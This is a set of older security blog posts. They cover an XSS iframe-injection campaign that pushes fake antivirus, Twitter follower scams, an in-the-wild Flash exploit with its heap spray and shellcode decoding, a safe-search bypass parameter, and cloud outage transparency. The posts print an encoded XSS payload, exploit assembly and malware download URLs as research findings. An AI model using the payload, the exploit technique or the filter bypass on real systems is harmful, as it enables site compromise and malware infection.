XSS Embedded iFrames

Today we saw a variety of pages being advertised that have search.htm and other pages vulnerable to cross-site scripting (XSS) being used to inject an iframe to a malicious webpage redirector. To an unknowing user following such an advertisement, they would believe that they were just visiting the intended host site unaware that the iframe was also redirecting them to malicious content.

Here are a few examples with some of the malicious XSS advertisements (do not follow these or other "hxxp" URLs below):


In each of the above examples, the parameter passed to the server's .htm or .php file is a string that includes encoded HTML. When the server processes the parameter, it displays the original parameter (users usually want to see their query string) and its results. Because the original parameter is displayed on the page without any sanitization for this type of encoded HTML, it is possible for this XSS to take place. The encoded HTML in each case is hexadecimal encoded HTML:

%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%2F%2F%61%73%6B%35%2E%65%75%3E

which decodes to a closing </title> tag for the query string, followed by the malicious iframe to embed:

<iframe src="//ask5.eu">

ask5.eu does a Javascript redirect using parent.location.replace() to:
hxxp://alanhui.co.cc

which does a Javascript parent.location.replace() to:
hxxp://max-well2.cn/?pid=349s01&sid=dd93d9

which lands the user at:
hxxp://windows-antivirus4.com/scan1/?pid=349s1&engine=%3DHW39TjuMDQxLjYyLjEyMyZ0aW1lPTEyNjI4NUEOOAkO

and downloads:
hxxp://windows-antivirus4.com/download/Inst_349s1.exe



Fake AV malware sample:
MD5: c0d2017be29e5383b1a680ef59ed22e0
Virus Total (6/41): http://www.virustotal.com/analisis/d1a052f117f1e0e4f828c04b7cabd8428cde6b9fc11f61e6e2f3d63ec01f9152-1260851264

Twitter Follower Scams

Introduction
It's cool to be on Twitter but it's cooler still to have more followers than your neighbor. Some are so desperate to move into the lead that they're pulling out their credit card to get there. Those gullible enough to participate in the growing number of Twitter Follower scams are sure to be disappointed.

Scammers are setting up websites promising to provide Twitter followers to anyone willing to sign up. There are typically two levels of membership - basic and VIP. A basic membership offers followers in exchange for the right to "use your account to promote [their] services". Effectively, you are handing over your Twitter username and password to a third party that will then leverage your account to promote their service. In return, you are promised Twitter followers. In our tests, we received no followers but were signed up to follow a couple of hundred accounts that were presumably either fake accounts setup by the service or other victims. How do they make money? In part through advertising on their webpage but primarily by convincing individuals to become VIP members. To become a VIP member, you must either recruit others to sign up for the service or pay for the privilege. VIP membership comes with the promise of "100-400 [new followers] each day". If you choose to take the recruitment route, when initially signing up, you are provided with a unique URL that is to be given to others for signup. This will supposedly allow the service to keep track of your recruits and promote you to VIP status free of charge after 15 additional accounts are recruited. We attempted to promote our test accounts to VIP status this way; however, the domain name in the URL provided did not resolve and the request would therefore fail. Effectively, this leaves paying a monetary fee as the only option to achieve VIP status.

The Scam
Promotion
Tweets sent from the accounts of past victims promote one of the many websites driving the scams. The URL is always obfuscated using a URL shortener and numerous URL shortening services are leveraged

Common Tweets
If you want 400 followers a day use…
If you wantt 100 followers a day use…
I got 100 followers using…
I just got 400 followers using…
to get 400 followers a day…
If you want to get alot of followers check out…
Hey I just got alot of followers using…
I got 100 followers in a day using…
Get 500 followers a day using…
THE BEST WAY TO GET MORE FOLLOWERS…
OUR GOAL IS TO GET U MORE FOLLOWERS…
This site got me 200 followers quick…
Want FREE VIP, 100 new followers instantly and 1,000 new followers next week?
The best way to get 100 followers faster is using
Hey I just got alot of followers using

Common sites
http://followersquick.info/
http://tweeterspeed.com/
http://twittfollow.com/
http://followquick.info/
http://tweeterleaders.info/
http://twittfollow.info/
http://wannafollowme.com/
http://twtfast.info/
http://twitter-builder.com/

Whois information and IP address lookups suggest that at least some of the aforementioned websites are run by the same individuals. A number of the sites resolve to a single web hosting company in Malasiya and use the WhoisGuard service to hide registration information for the domains in question.

Propagation
When a user visits the site and enters their Twitter name and password, they have effectively handed over control of their Twitter account to a third party. The scammers will then use that account to futher promote the service. The user may receive a handful of followers but in our experience, they are simply fake accounts set up by the scammers themselves, if any followers are received at all. One of our favorite touches…the 'I agree with the rules' checkbox on the signup page, can't be unchecked.

Revenue
VIP membership comes with the promise of "100-400 [new followers] each day". It can supposedly be obtained by either recruiting others to sign up for the service or by paying anywhere from $20 to $1,500, depending upon the duration of your VIP status (4 days to one year). Most scams leverage PayPal to complete the transaction. While it’s unclear how many people are actually pulling out their credit card to participate, the volume of Twitter accounts seen that have apparently signed up for the service, along with the number of scams emerging, suggest that the scam is successful.

Sadly, the scammers are actually rather straight forward about what they're doing, if only victims were to take the time to review the 'rules':

• You have to add all vip users and 20 regular users to join the train.
• We may use your account to promote our services, with the exception of VIP account.
• The fee for VIP is non-refundable.
• After payment, give us up to 6 hours to update your VIP status.

How Successful is the Scam?
Searching for either the phrases used to promote the sites, or the shortened URLs themselves shows that thousands of people are signing up for the services every day in the hopes that it will increase their number of Twitter followers. The screenshot below indicates that for only one of the sites, hundreds or Tweets Per Hour (TPH) are appearing in the Twitter live feed. What's not clear is how many people are taking the additional step of sending money to become VIP members.Twitter's Response
What is Twitter doing about the scams? Nothing. Thousands of tweets promote the scam sites every day and they aren't hard to find. Twitter could easily be implementing filters to identify common phrases or URLs. Beyond this, common phishing blacklists such as PhishTank.org and Google’s SafeBrowsing, are largely ignoring such sites as well.

Conclusion
These sites are scams, plain and simple. In our experience, signing up for the service will ensure that your account is used to send out Twitter spam to promote the service and follow hundreds of other accounts but result in no meaningful additional followers. We chose not to pay for the VIP service but even if followers are added, they will simply be other victims or fake accounts created by those running the scam. If simply building up the number of followers on your Twitter account is of that much importance, regardless of who they are, take the time to create a bunch of fake Twitter accounts on your own – it’s free. If you have signed up for such a service in the past, we recommend changing your Twitter password immediately to ensure that the service can no longer post messages on your behalf. Your account could be used to post content that you don’t approve of and if so, good luck explaining why you shared your Twitter credentials.

In the wild Flash exploit analysis – part 2

In the first blog, we talked about how a recent Flash exploit works using heap spraying. In this blog, we will see how the shellcode functions and how it downloads malicious binaries to an infected system. If you remember, malicious shellcode was loaded on heap by the exploit. So let’s try to see if we can identify strings or URLs in the loaded shellcode. If you look closely, the shellcode is not in a readable format and appears to be encoded. Here is the how shellcode looks:

There is no single identifiable string in the shellcode. Let’s debug this shellcode further to understand if it is encoded or not. When we left off in the last blog, we were at a “CALL EAX” instruction with EAX pointing to 08080808. If we press F9, we will land on the heap and start executing every NOP instruction until ultimately reaching the malicious shellcode. We will reach the first instruction of the shellcode by putting a hardware breakpoint in the shellcode. Here is another screenshot of the debugger:

The shellcode contains some unused instructions and it will be difficult to understand it simply using static analysis. Let’s start debugging step by step. The first few instructions are the same and will POP EAX from stack. Then there is short jump call to 08089C42, which will call the address 08089C32. At which point it will XOR the ECX value and push a value of 3B8 (decimal 952) into CX. Then there is small loop, which is very interesting.

08089C3A 80340B BD XOR BYTE PTR DS:[EBX+ECX],0BD

08089C3E ^E2 FA LOOPD SHORT 08089C3A

The first instruction is XORing every byte with 0BD from the last byte i.e. starting from value (EBX+ECX) until the current EBX value as ECX will start decrementing. This is the method used to encode the original shellcode. After exiting from the loop, we land into decoded shellcode which can now be reviewed. Here is the XOR’ed version of original shellcode:

Gr8! Every instruction is now readable and easy to understand. We can now attempt to identify strings. I went into a memory dump of the heap and converted instructions into Hex/ASCII format. Here, I was able to find some known strings and one URL at the end. Here is the ASCII dump:

Now, this looks pretty straightforward. The above decoded shellcode is going to download “css.exe” to the infected system. At this point, I downloaded the malicious file. Let’s open it in OllyDbg and try to find some additional strings and to see what that executable is doing. I quickly looked at the disassembly and was able to quickly realize what the file is doing. I found an additional URL request in the code:

This executable downloads additional malware by visiting “hxxp://www.ffxiname.com”. Then it will add some registry values and run library “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\300056251037don.dll,Set1” using "C:\WINNT\System32\rundll32.exe”. The TEMP directory will be full of additional malicious executables and DLL’s. The website in question (“ffxiname.com”) appears to be a drop zone, containing numerous additional exploits. The site will deliver different exploits based on the browser issuing the request. Here are some wireshark packet captures from the website:

The site is exploiting browser specific vulnerabilities to push additional malware. This is not the end of this process. It also downloads,

hxxp://www.40sys40.cn/txt/a1.exe

hxxp://www.40sys40.cn/txt/a2.exe

hxxp://www.40sys40.cn/txt/a3.exe

hxxp://www.40sys40.cn/txt/a4.exe

Additionally, two DLL’s are downloaded into the temp folder. The names of the files are “231053kou.dll” and “231054eve.dll”. Based on strings identified in the DLLs, it appears that they are used to sniff passwords for various web domains as can be seen in the following screen capture:

As can be seen, the initial infection due to the Flash vulnerability is only the start of the process. Successful exploitation leads to additional malicious binaries being downloaded to the infected system. The exploit also led to the installation of malicious DLL’s, which steal valuable information such as login credentials when you visit popular web sites.

That’s it for this series. Remember, this chain of infection was triggered when a victim with a vulnerable Flash Player simply viewed a single malicious page – no user intervention was required. This also shows that how active Flash exploits are in the wild. Keep your systems/AV up to date and install latest Flash Player from Adobe.

Be Safe,

Umesh

In the wild Flash exploit analysis – part 1

Today, one of my colleagues requested that I provide additional details about a web page that we had blocked for a customer. The blocked URL was ‘hxxp://www.39sys39.cn/htm/ie.html’. He wanted details about the threat present on the page. I downloaded the page and found out that it contained obfuscated JavaScript with heap spray code. I also found that the exploit contained an tag with a source file called “xp.swf”. At first glance, it was clear that the page is trying to exploit a Flash vulnerability. The exploit code is shown below:

The above exploit employed simple obfuscation to evade signature engines. If we decode the above script, we find the following:

It is also spraying the heap on an address of “0x08080808”. Shortly, we will learn why this address is needed to exploit the vulnerability. I downloaded both the “ie.html” and “xp.swf” files for further analysis. I also uploaded the “xp.swf” file to Virustotal to see if it was a known exploit or perhaps zero day content. Only 9 out of 41 antivirus engines detected the file as a virus. Those that did, identified the file as an exploit attacking CVE-2009-1862. This is a recent vulnerability, for which exploit code is currently in the wild, affecting Adobe Reader and Adobe Flash player. To check if the exploit was working properly, I replaced the shellcode in the exploit with simple shellcode that will execute “calc.exe”. I opened this file with both Firefox and Internet Explorer and here is what happened,

The JavaScript code successfully exploited the known vulnerability in Flash and executed our replacement shellcode to open “calc.exe”. This demonstrates just how dangerous the vulnerability is as it requires a victim to simply visit a malicious page containing the Flash exploit. No further user intervention is required. In this case, I had replaced the original shellcode for testing and the exploit opened calculator successfully. Next, I wanted to determine the purpose of the original shellcode, so I then modified the original exploit code to force a crash in order to debug further. I ran the file again, this time with Internet Explorer and received the following popup message:

The referenced memory address in the above figure is “0x08214408. The program is unable to read data from an invalid address, which led to a crash. Now if you remember, the original exploit in the first image of the blog uses the “0x08080808” memory address to spray the heap with shellcode. Bingo! This means the program is crashing may be due to memory corruption. That is why the exploit must spray the heap with an address of “0x08080808”. I then clicked on cancel button to debug further. I wanted to find which instruction actually reads the data and calls the shellcode. Here is the first state of the OllyDbg debugger:

Look at the above instructions. The register EDX is trying to read a value from ESI which points to invalid address 08214408. Let’s analyze the instructions that follow.

MOV EDX,DWORD PTR DS:[ESI]

MOV EAX,DWORD PTR DS:[EDX+44]

PUSH EBP

MOV ECX,ESI

CALL EAX

TEST AL,AL

Let’s assume [ESI] contains some value which is moved to EDX. Then EAX will contain the value [EDX+44]. Then the program will push EBP on the stack, move the ESI address to ECX and look at the next instruction “CALL EAX”. This is where a call has been made to execute the shellcode. We can conclude that if we spray the heap with 08080808 and shellcode, [ESI] will contain 08080808, which will be moved to EDX. EAX will also contain 08080808 which will be called after the “MOV ECX, ESI” command. Then this call will jump to heap memory at an address of 0x08080808 and execute the shellcode. Let’s see if that holds true.

This time I reopened the original exploit in the Firefox, put a breakpoint at the above-mentioned instructions and sure enough, we were right. EAX now points to 08080808 and the heap is sprayed with 08 bytes and shellcode. If I press “F9” to continue, it will jump onto the heap area and will execute the instruction found. The instruction 0808 is effectively a NOP sled. It is simply “OR BYTE PTR DS:[EAX],CL” which will do nothing as CL contains 08. It will reach the shellcode by executing 0808 instructions and ultimately execute the malicious code.

This means some field/value from the malicious Flash file is causing memory corruption. Here is the how original shellcode is loaded into memory,

This is just overview of how this exploit works. In the next part we will see what original shellcode does. Specifically, we will identify the additional content downloaded to the victim’s machine.

This exploit proves that flash exploits can be very dangerous. Such exploits do not require user intervention. Simply by visiting a malicious web page, the victim will be exploited.

That’s for part 1 now. Do come back for part 2 of this blog.

Umesh

Watered Down Phishing Protection in iPhone OS 3.X?

This summary is not available. Please click here to view the post.

Safe Search – Not just a content filter

‘Safe search’ is a feature used by search engines to filter out explicit sexual or adult content from search results. Most search engines provide 3 modes of safe search as follows:

• Strict: Filter all adult web, video, and image results
• Moderate: Filter adult video and image results only
• Off: No filtering

By default, most search engines implement a ‘moderate’ setting. Some search engines, such as Yahoo, additionally provide password protected preferences. Any user who is signed in can change the setting and save it for his/her preferences.

Bing, Microsoft’s newly launched search portal, came up with a feature to play a preview of videos directly from the search results. However, by turning off the safe search filter, people were able to play adult content from the search page itself, thus bypassing possible URL filtering controls on the network. Bing later recommended solutions to prevent explicit content from being displayed in the search results. They initially provided a workaround in a blog posting which suggested adding ’&adlt=strict’ to the end of the search query. This forced filtered results even if end users had disabled the feature. Bing later recommended another solution with explicit content being served from a separate domain, thus allowing for explicit content to be blocked simply by filtering access to a single domain. Here is an example of Bing results with safe search turned off:

Now as per the first suggestion on the Bing blog, we can add URL parameter ‘&adlt=strict’ to eliminate explicit content from the search results. Here is how the same query will look,

The search engine did not return any results, because the safe search setting is forced to be in ‘strict’ mode. The above solution of appending a safe search parameter in the URL is definitely a good way to prevent explicit content from being displayed even if safe search is turned off. Remember, you will have to also find out if the safe search parameter used by the search engine website should be appended or prepended to the final URL. This is because filtering can be bypassed by appending the same parameter with a different option. Look at the below result:

I have again appended an ‘&adlt=off’ name/value pair to the end of the URL in the second image. The search engine now takes last parameter i.e. ‘&adlt=off’ as safe search parameter to filter out the result. Imagine, without a proxy or filtering solution in place, a user would be able to add such a safe search parameter at the end of URL to bypass the safe search protection even if his/her search preferences were set to strict mode. But, how would a user do this if a proxy server is altering the URL? They will not have access to the query after it will be altered by the proxy server. In this case, even if a user were to add a safe search parameter anywhere in the URL to bypass safe search protection, the necessary safe search parameter to force strict filtering would then be added at the end of final URL (as shown previously) at the proxy level. This will override the user preferences and the proxy server will return only safe search results.

Almost every search engine implements safe search features but individuals control whether or not it is used, not the enterprise for which they work. Beyond the legal ramifications of allowing users to view inappropriate content while at work, it can also present a security risk as adult websites often contain malicious content. For example, pornographic sites may encourage users to download fake codec or flash applications to view the content of a video, which ultimately results in a system compromise. In the associated image, we are viewing a malicious website and AVG antivirus triggers immediately with message “Exploit Trojan Fake Codec”.

We land on this page because we have turned off the safe search and we searched for adult content. If safe search was on, the user would not have been permitted to visit the site and download the malicious program. This time antivirus identified the threat, but that may not always be the case. This shows the importance of safe search.

Happy Safe Search!!!

Umesh

Cloud transparency during a crisis

The beginning of July was a big week for data center outages with some notable Internet impact. I've written before about cloud resiliency and uptime in my 'Changing a tire while going 60mph' and 'Big, white puffy clouds can still evaporate' posts.

Amongst those outages was a Google App Engine interruption, which just goes onto the tally sheet as yet another failure of a supposed infallible cloud platform service. Ted Dziuba has some interesting viewpoints on the App Engine outage, and brings up a key element that makes all the difference with these types of outages: transparency. If something fails, people like to know why it happened (especially in light of all the resiliency/redundancy claims of the cloud) and what is being done so it doesn't happen again. Google's transparency was a basic statement that something bad happened with GFS, and that affected BigTable, which affected App Engine's DataStore, and they are going to fix it. Now, compare that level of detail to the information offered by Amazon during their S3 outage from July 2008 and February 2008. There is a notable difference. So a message to SaaS vendors: just because customers don't need to know the platform and implementation details behind your SaaS, doesn't mean they don't want to know...especially in light of a catastrophic failure. Telling customers what went wrong let's them enact their own post-mortem and due-diligence analysis processes to ensure they haven't shackled themselves to a SaaS vendor who is experiencing outages due to silly oversights that are likely to repeat as life goes on.

Actually, transparency and efficient communication regarding the outage event was also a key issue for some of the other outages last week. Jeremy Irish blogged about the fire at Fisher Plaza data center that left his systems offline for 29 hours. Apparently news of what exactly was happening, even for the first responders that were physically present at the building, was scarce and little effort was made to keep folks efficiently informed. Eventually they found out that it was a fire in a basement-level electrical room, which triggered the sprinklers and in turn ruined additional electrical equipment and generators, which ultimately caused significant damage to the power infrastructure.

Overall, Murphy and his laws are a fact of life and vendors (cloud, SaaS, or other) must do what is in their power to have contingency plans if you truly want to maintain availability and business continuity. And SaaS vendors, take note: just because you can hide the implementation and platform details of your service, doesn't mean you should hide the operational details of your service...especially during a service disruption.

Until next time,
- Jeff